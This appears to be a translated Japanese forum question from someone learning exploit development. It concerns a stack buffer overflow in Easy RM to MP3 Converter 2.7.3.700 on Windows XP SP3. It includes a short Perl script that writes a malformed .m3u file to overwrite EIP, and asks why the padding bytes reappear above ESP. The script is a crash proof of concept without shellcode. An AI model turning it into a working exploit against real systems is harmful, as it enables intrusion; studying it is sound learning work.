しばらく前に、Windows XPSP3( http://www.exploit-db.com/exploits/9177/ )でEasy RM to MP3 Converter 2.7.3.700のエクスプロイトに取り組んでいるときに、理解していない概念に出くわしました。このようになります:
悪意のあるファイルを生成するためのperlスクリプト:
my $junk = "\x41" x 25000;
my $offset = "\x42" x 1072;
my $eip = "\x43" x 4;
my $file = "crash.m3u";
open ($file,">$file");
print $file $junk.$offset.$eip.$adjustment;
close ($file);
悪意のあるファイルを生成した後、コンバーターにフィードすると、[esp + 18](espに関連するアドレス指定)でスタックの内容が分析されます...なぜこれらのAがここにあるのですか??
つまり :
Aは[ESP-88E8]から[ESP-43C]
までBは[ESP-438]から[ESP-C]まで
Cは[ESP-8]で開始
では、なぜこれらのAは[ESP+18]から[ESP+418]にあるのでしょうか?なぜこれらのAは[ESP-88E8]から[ESP-43C]にすでに配置されているのに、[ESP+18]から[ESP+418]で繰り返されているのですか..??
ありがとうございました 。